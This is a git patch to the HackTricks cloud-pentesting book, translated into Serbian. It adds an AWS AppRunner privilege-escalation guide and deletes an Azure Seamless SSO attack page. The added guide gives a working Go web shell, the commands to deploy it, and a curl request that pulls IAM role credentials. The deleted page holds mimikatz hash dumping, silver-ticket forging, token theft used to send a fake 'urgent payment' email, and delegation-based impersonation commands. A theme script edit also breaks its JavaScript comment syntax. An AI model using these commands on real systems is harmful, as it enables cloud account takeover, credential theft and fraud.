From 35797d8db1404d6778ecb6b02ebee50818e0b76a Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 1 Aug 2025 09:45:54 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- src/SUMMARY.md | 3 +- .../aws-apprunner-privesc.md | 72 +++++++ .../seamless-sso.md | 191 ------------------ theme/ai.js | 24 +-- 4 files changed, 86 insertions(+), 204 deletions(-) create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 2e6ba8b7c..02ee21711 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -267,6 +267,7 @@ - [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md) - [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md) - [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md) + - [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md) - [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md) - [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md) - [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md) @@ -454,7 +455,7 @@ - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md) - - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md) + - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md new file mode 100644 index 000000000..e10745b3b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md @@ -0,0 +1,72 @@ +# AWS - AppRunner Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## AppRunner + +### `iam:PassRole`, `apprunner:CreateService` + +Napadač sa ovim dozvolama može da kreira AppRunner servis sa priloženom IAM ulogom, potencijalno eskalirajući privilegije pristupom kredencijalima uloge. + +Napadač prvo kreira Dockerfile koji služi kao web shell za izvršavanje proizvoljnih komandi na AppRunner kontejneru. +```Dockerfile +FROM golang:1.24-bookworm +WORKDIR /app +RUN apt-get update && apt-get install -y ca-certificates curl +RUN cat <<'EOF' > main.go +package main + +import ( +"fmt" +"net/http" +"os/exec" +) + +func main() { +http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { +command := exec.Command("sh", "-c", r.URL.Query().Get("cmd")) +output, err := command.CombinedOutput() +if err != nil { +fmt.Fprint(w, err.Error(), output) +return +} + +fmt.Fprint(w, string(output)) +}) +http.ListenAndServe("0.0.0.0:3000", nil) +} +EOF +RUN go mod init test && go build -o main . +EXPOSE 3000 +CMD ["./main"] +``` +Zatim, pošaljite ovu sliku u ECR repozitorijum. +Povećanje privilegija je moguće čak i ako žrtvin nalog nema dozvole za manipulaciju ECR-om, slanjem slike u javni repozitorijum u AWS nalogu koji kontroliše napadač. +```sh +IMAGE_NAME=public.ecr.aws///:latest +docker buildx build --platform linux/amd64 -t $IMAGE_NAME . +aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws +docker push $IMAGE_NAME +docker logout public.ecr.aws +``` +Zatim, napadač kreira AppRunner servis konfigurisano sa ovom web shell slikom i IAM rolom koju želi da iskoristi. +```bash +aws apprunner create-service \ +--service-name malicious-service \ +--source-configuration '{ +"ImageRepository": { +"ImageIdentifier": "public.ecr.aws///:latest", +"ImageRepositoryType": "ECR_PUBLIC", +"ImageConfiguration": { "Port": "3000" } +} +}' \ +--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ +--query Service.ServiceUrl +``` +Nakon što sačekate da se kreacija servisa završi, koristite web shell da preuzmete kredencijale kontejnera i dobijete dozvole IAM Role povezane sa AppRunner. +```sh +curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' +``` +**Potencijalni uticaj:** Direktno eskaliranje privilegija na bilo koju IAM ulogu koja može biti povezana sa AppRunner uslugama. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md deleted file mode 100644 index 70d2bce90..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md +++ /dev/null @@ -1,191 +0,0 @@ -# Az - Seamless SSO - -{{#include ../../../banners/hacktricks-training.md}} - -## Osnovne informacije - -[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatski **prijavljuje korisnike kada su na svojim korporativnim uređajima** povezanih na vašu korporativnu mrežu. Kada je omogućeno, **korisnici ne moraju da kucaju svoje lozinke da bi se prijavili na Azure AD**, a obično ni da kucaju svoja korisnička imena. Ova funkcija omogućava vašim korisnicima lak pristup vašim aplikacijama zasnovanim na oblaku bez potrebe za dodatnim komponentama na lokaciji. - -

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

- -U suštini, Azure AD Seamless SSO **prijavljuje korisnike** kada su **na PC-u pridruženom lokalnoj domeni**. - -Podržava ga i [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) i [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md). - -Desktop SSO koristi **Kerberos** za autentifikaciju. Kada je konfigurisan, Azure AD Connect kreira **račun računara pod nazivom `AZUREADSSOACC$`** u lokalnom AD. Lozinka računa `AZUREADSSOACC$` se **šalje u običnom tekstu Entra ID** tokom konfiguracije. - -**Kerberos karte** su **enkriptovane** koristeći **NTHash (MD4)** lozinke, a Entra ID koristi poslatu lozinku za dekripciju karata. - -**Entra ID** izlaže **krajnju tačku** (https://autologon.microsoftazuread-sso.com) koja prihvata Kerberos **karte**. Pregledač mašine pridružene domeni prosleđuje karte ovoj krajnjoj tački za SSO. - -### Enumeracija -```bash -# Check if the SSO is enabled in the tenant -Import-Module AADInternals -Invoke-AADIntReconAsOutsider -Domain | Format-Table - -# Check if the AZUREADSSOACC$ account exists in the domain -Install-WindowsFeature RSAT-AD-PowerShell -Import-Module ActiveDirectory -Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'" - -# Check it using raw LDAP queries without needing an external module -$searcher = New-Object System.DirectoryServices.DirectorySearcher -$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)" -$searcher.FindOne() -``` -## Pivoting: On-prem -> cloud - -> [!WARNING] -> Glavna stvar koju treba znati o ovom napadu je da je samo posedovanje TGT-a ili specifičnog TGS-a korisnika koji je sinhronizovan sa Entra ID dovoljno za pristup cloud resursima.\ -> To je zato što je to tiket koji omogućava korisniku da se prijavi u cloud. - -Da bi se dobio taj TGS tiket, napadač treba da ima jedan od sledećih: -- **TGS kompromitovanog korisnika:** Ako kompromitujete sesiju korisnika sa tiketom za `HTTP/autologon.microsoftazuread-sso.com` u memoriji, možete ga koristiti za pristup cloud resursima. -- **TGT kompromitovanog korisnika:** Čak i ako nemate jedan, ali je korisnik kompromitovan, možete dobiti jedan koristeći trik lažne TGT delegacije implementiran u mnogim alatima kao što su [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) i [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). -- **Hash ili lozinku kompromitovanog korisnika:** SeamlessPass će komunicirati sa kontrolerom domena sa ovom informacijom da generiše TGT, a zatim TGS. -- **Zlatni tiket:** Ako imate KRBTGT ključ, možete kreirati TGT koji vam je potreban za napadnutog korisnika. -- **Hash ili lozinku AZUREADSSOACC$ naloga:** Sa ovom informacijom i SID-om korisnika koji napadate, moguće je kreirati servisni tiket i autentifikovati se sa cloud-om (kao što je izvedeno u prethodnoj metodi). - -### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) - -Kao što je [objašnjeno u ovom blog postu](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), posedovanje bilo kog od prethodnih zahteva je veoma lako koristiti alat **SeamlessPass** za pristup cloud resursima kao kompromitovani korisnik, ili kao bilo koji korisnik ako imate **`AZUREADSSOACC$`** hash ili lozinku naloga. - -Na kraju, sa TGT-om je moguće koristiti alat [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) sa: -```bash -# Using the TGT to access the cloud -seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt -# Using the TGS to access the cloud -seamlesspass -tenant corp.com -tgs user_tgs.ccache -# Using the victims account hash or password to access the cloud -seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password -# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID -seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234 -seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234 -wmic useraccount get name,sid # Get the user SIDs -``` -Dalje informacije o podešavanju Firefoxa za rad sa seamless SSO mogu se [**pronaći u ovom blog postu**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). - -### Dobijanje hash-eva naloga AZUREADSSOACC$ - -**Lozinka** korisnika **`AZUREADSSOACC$` nikada se ne menja**. Stoga, domen administrator može kompromitovati **hash ovog naloga**, a zatim ga koristiti za **kreiranje silver karata** za povezivanje na Azure sa **bilo kojim on-prem korisnikom koji je sinhronizovan**: -```bash -# Dump hash using mimikatz -Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' -mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit - -# Dump hash using https://github.com/MichaelGrafnetter/DSInternals -Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local - -# Dump using ntdsutil and DSInternals -## Dump NTDS.dit -ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q -## Extract password -Install-Module DSInternals -Import-Module DSInternals -$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' -(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos -``` -> [!NOTE] -> Sa trenutnim informacijama možete jednostavno koristiti alat **SeamlessPass** kao što je prethodno navedeno da dobijete azure i entraid tokene za bilo kog korisnika u domenu. -> Takođe možete koristiti prethodne tehnike (i druge) da dobijete hash lozinke žrtve koju želite da imitirate umesto `AZUREADSSOACC$` naloga. - -#### Kreiranje Silver Tiketa - -Sa hash-om sada možete **generisati silver tikete**: -```bash -# Get users and SIDs -Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier - -# Create a silver ticket to connect to Azure with mimikatz -Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4: /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"' -mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit - -# Create silver ticket with AADInternal to access Exchange Online -$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4" -$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com -## Send email -Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "

Urgent!


The following bill should be paid asap." -``` -### Korisćenje Silver Tickets sa Firefox-om - -Da biste iskoristili silver ticket, sledeći koraci treba da se izvrše: - -1. **Pokrenite Pregledač:** Mozilla Firefox treba da se pokrene. -2. **Konfigurišite Pregledač:** -- Idite na **`about:config`**. -- Postavite preferencu za [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) na određenu [vrednost](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically): -- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com` -- Idite na Firefox `Podešavanja` > Pretražite `Dozvoli Windows jedinstveno prijavljivanje za Microsoft, radne i školske naloge` i omogućite to. -3. **Pristupite Web Aplikaciji:** -- Posetite web aplikaciju koja je integrisana sa AAD domenom organizacije. Uobičajen primer je [login.microsoftonline.com](https://login.microsoftonline.com/). -4. **Proces Autentifikacije:** -- Na ekranu za prijavu, korisničko ime treba uneti, ostavljajući polje za lozinku prazno. -- Da biste nastavili, pritisnite TAB ili ENTER. - -> [!WARNING] -> Ovo **ne zaobilazi MFA ako je omogućeno** za korisnika. - - -### On-prem -> Cloud putem Ograničene Delegacije na Bazi Resursa - -Da biste izvršili napad, potrebni su: - -- `WriteDACL` / `GenericWrite` nad `AZUREADSSOACC$` -- Račun računara koji kontrolišete (hash i lozinka) - Možete kreirati jedan - - -1. Korak 1 – Dodajte svoj račun računara -- Kreira `ATTACKBOX$` i štampa njegov SID/NTLM hash. Svaki korisnik domena može to učiniti dok je MachineAccountQuota > 0 -```bash -# Impacket -python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \ --computer ATTACKBOX$ -password S3cureP@ss -``` -2. Korak 2 – Dodelite RBCD na `AZUREADSSOACC$` - Upisuje SID vaše mašine u `msDS-AllowedToActOnBehalfOfOtherIdentity`. -```bash -python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \ -ATTACKBOX$ AZUREADSSOACC$ - -# Or, from Windows: -$SID = (Get-ADComputer ATTACKBOX$).SID -Set-ADComputer AZUREADSSOACC$ ` --PrincipalsAllowedToDelegateToAccount $SID -``` -3. Korak 3 – Izradite TGS za bilo kog korisnika (npr. alice) -```bash -# Using your machine's password or NTLM hash -python3 getST.py -dc-ip 192.168.1.10 \ --spn HTTP/autologon.microsoftazuread-sso.com \ --impersonate alice \ -DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821 - -# Produces alice.autologon.ccache - -#Or, from Windows: -Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 ` -/impersonateuser:alice ` -/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt -``` -Možete sada koristiti **TGS za pristup Azure resursima kao imitirani korisnik.** - - -### ~~Kreiranje Kerberos karata za korisnike koji koriste samo cloud~~ - -Ako administratori Active Directory imaju pristup Azure AD Connect, mogu **postaviti SID za bilo kog cloud-korisnika**. Na ovaj način Kerberos **karte** mogu biti **kreirane i za korisnike koji koriste samo cloud**. Jedini zahtev je da SID bude ispravan [SID](). - -> [!CAUTION] -> Promena SID-a korisnika koji koriste samo cloud je sada **blokirana od strane Microsoft-a**.\ -> Za informacije proverite [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) - - - -## Reference - -- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) -- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) -- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 02f51127e..c09116c72 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -1,6 +1,6 @@ /** * HackTricks Training Discounts - */ + (() => { @@ -9,13 +9,13 @@ const TXT = 'Click here for HT Summer Discounts, Last Days!'; const URL = 'https://training.hacktricks.xyz'; - /* Stop if user already dismissed */ + # Stop if user already dismissed if (localStorage.getItem(KEY) === 'true') return; - /* Quick helper */ + # Quick helper const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); - /* --- Overlay (blur + dim) --- */ + # --- Overlay (blur + dim) --- const overlay = $('div', ` position: fixed; inset: 0; background: rgba(0,0,0,.4); @@ -24,7 +24,7 @@ z-index: 10000; `); - /* --- Modal --- */ + # --- Modal --- const modal = $('div', ` max-width: 90vw; width: 480px; background: #fff; border-radius: 12px; overflow: hidden; @@ -33,10 +33,10 @@ display: flex; flex-direction: column; align-items: stretch; `); - /* --- Title bar (link + close) --- */ + # --- Title bar (link + close) --- const titleBar = $('div', ` position: relative; - padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */ + padding: 1rem 2.5rem 1rem 1rem; # room for the close button text-align: center; background: #222; color: #fff; font-size: 1.3rem; font-weight: 700; @@ -53,7 +53,7 @@ link.textContent = TXT; titleBar.appendChild(link); - /* Close "X" (no persistence) */ + # Close "X" (no persistence) const closeBtn = $('button', ` position: absolute; top: .25rem; right: .5rem; background: transparent; border: none; @@ -65,11 +65,11 @@ closeBtn.onclick = () => overlay.remove(); titleBar.appendChild(closeBtn); - /* --- Image --- */ + # --- Image --- const img = $('img'); img.src = IMG; img.alt = TXT; img.style.width = '100%'; - /* --- Checkbox row --- */ + # --- Checkbox row --- const label = $('label', ` display: flex; align-items: center; justify-content: center; gap: .6rem; padding: 1rem; font-size: 1rem; color: #222; cursor: pointer; @@ -83,7 +83,7 @@ }; label.append(cb, document.createTextNode("Don't show again")); - /* --- Assemble & inject --- */ + # --- Assemble & inject --- modal.append(titleBar, img, label); overlay.appendChild(modal); @@ -94,7 +94,7 @@ } })(); - +*/